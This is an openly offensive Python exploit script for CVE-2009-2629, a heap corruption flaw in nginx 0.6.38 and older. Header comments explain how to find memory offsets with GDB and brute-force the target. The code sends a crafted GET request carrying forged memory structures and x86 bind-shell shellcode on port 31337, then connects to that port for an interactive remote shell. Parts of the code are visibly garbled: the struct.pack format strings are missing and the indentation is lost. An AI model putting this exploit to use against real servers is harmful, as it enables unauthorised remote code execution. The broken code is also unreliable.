nginx v0.6.38 Heap Corruption Exploit

#!/usr/bin/env python

#

# Exploit Title: nginx heap corruption

# Date: 08/26/2010

# Author: aaron conole

# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz

# Version: <= 0.6.38, <= 0.7.61

# Tested on: BT4R1 running nginx 0.6.38 locally

# CVE: 2009-2629

#

# note: this was written and tested against BT4. This means it's an

#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV

#       also - only tested successfully against nginx 0.6.38

#              you'll definitely need to modify against other versions

#

# you'll need to know where the offset is going to land, and what the pad is

# from that point to when you've tained execution flow.

#

# A quick way to find out just for verification would be to launch nginx,

# attach GDB to the worker and target it with the exploit, setting the offset

# to 0, or some other arbitrary value. It should crash on a piece of code which

# resembles:

#   if (ctx->offset)

#

# At that point, merely dump the *r; capture the value for the data pointer

# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the

# hex pointer value). That should give you a good area to test with. You might

# want to use the range at that point and set the last octet to 00.

#

# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet

#       found a "magic" combination that would cause the state machine to do

#       what I want to make the bug trigger. Once I do, you can bet BUG will be

#       replaced.

#Basically, on BT4:

#- compile

#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")

#- Launch nginx, and attach GDB to the worker

#- Send the exploit at it with offset 0x11111111

#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"

#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).

#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).

#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag

#- In a minute or two, you should be given the shell.

import os

import sys

import socket

import select

import struct

import time

import urllib

REQUEST_METHOD='GET '

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)

NULLPTR='\x00\x00\x00\x00'

# NOTE - this shellcode was shamelessly stolen from the www

#        port 31337 bindshell for /bin/sh

SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# Why did I write this up this way? Because given enough time, I think I can

# find a proper set of state change which can give me the same effect (ie: ../

# appearing as the 3rd, 4th, and 5th characters) at a later date.

# That's all controlled by the complex uri parsing bit, though.

DOUBLE_SLASH='//../'

BUG=DOUBLE_SLASH

# taken from the metasploit pattern_create.rb

PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

def connect_socket(host,port):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

sock.connect( (host, port) )

except:

return 0

#sock.setblocking(0)

return sock

def handle_connection(sock):

while(1):

r, w, e = select.select( [sock, sys.stdin],

[],

[sock, sys.stdin] )

for s in r:

if s == sys.stdin:

buf = sys.stdin.readline()

try:

if buf != '':

sock.send(buf)

except:

print "Xon close?"

return 0

elif s == sock:

try:

buf = sock.recv(100)

except:

print "Xon close?"

return 0

if buf != '':

sys.stdout.write(buf)

def main(argv):

argc = len(argv)

if argc < 4:

print "usage: %s [-b]" % (argv[0])

print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"

print "[*] host = the remote host name"

print "[*] port = the remote port"

print "[*] ctx_addr is where the context address should begin at"

print "[*] -b specifies a brute-force (which will start at ctx_addr"

sys.exit(0)

host = argv[1]

port = int(argv[2])

ctx_addr = int(argv[3],16)

brute_flag = 0

if(argc == 5):

brute_flag = 1

testing = 1

print "[*] target: %s:%d" % (host, port)

try:

sd = urllib.urlopen("http://%s:%d" % (host, port))

sd.close()

except IOError, errmsg:

print "[*] error: %s" % (errmsg)

sys.exit(1)

print "[*] sending exploit string to %s:%d" % (host, port)

while(testing):

CTX_ADDRESS = struct.pack(',ctx_addr)

CTX_OUT_ADDRESS = struct.pack(', ctx_addr-60)

POOL_ADDRESS = struct.pack(',ctx_addr+56)

DATA_ADDRESS = struct.pack(',ctx_addr+86)

RANGE_ADDRESS = struct.pack(',ctx_addr+124)

SHELL_ADDRESS = struct.pack(',ctx_addr+128)

#PADDING

SHELLCODE=PATTERN[:67]

#the output context structure

SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS

#Magic

SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR

#this is the context object - some null ptrs, then we set range, then

#pool address

SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'

SHELLCODE+=NULLPTR*2+POOL_ADDRESS

#this is the data buffer object

SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR

#this is the pool memory structure ..

SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR

# this is the range structure

SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3

SHELLCODE+=SHELL

payload = REQUEST_METHOD

payload += BUG

payload += SHELLCODE

payload += ' HTTP/1.0\r\n\r\n'

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sd.connect((host, port))

sd.send(payload)

sd.close()

if (brute_flag):

nsock = connect_socket(host,31337)

if nsock != 0:

print "[*] Successful Exploit via buffer: %x" % (ctx_addr)

testing = 0

handle_connection(nsock)

else:

ctx_addr = ctx_addr + 1

else:

testing = 0

print "[*] FIN."

if __name__ == "__main__":

main(sys.argv)

sys.exit(0)

# EOF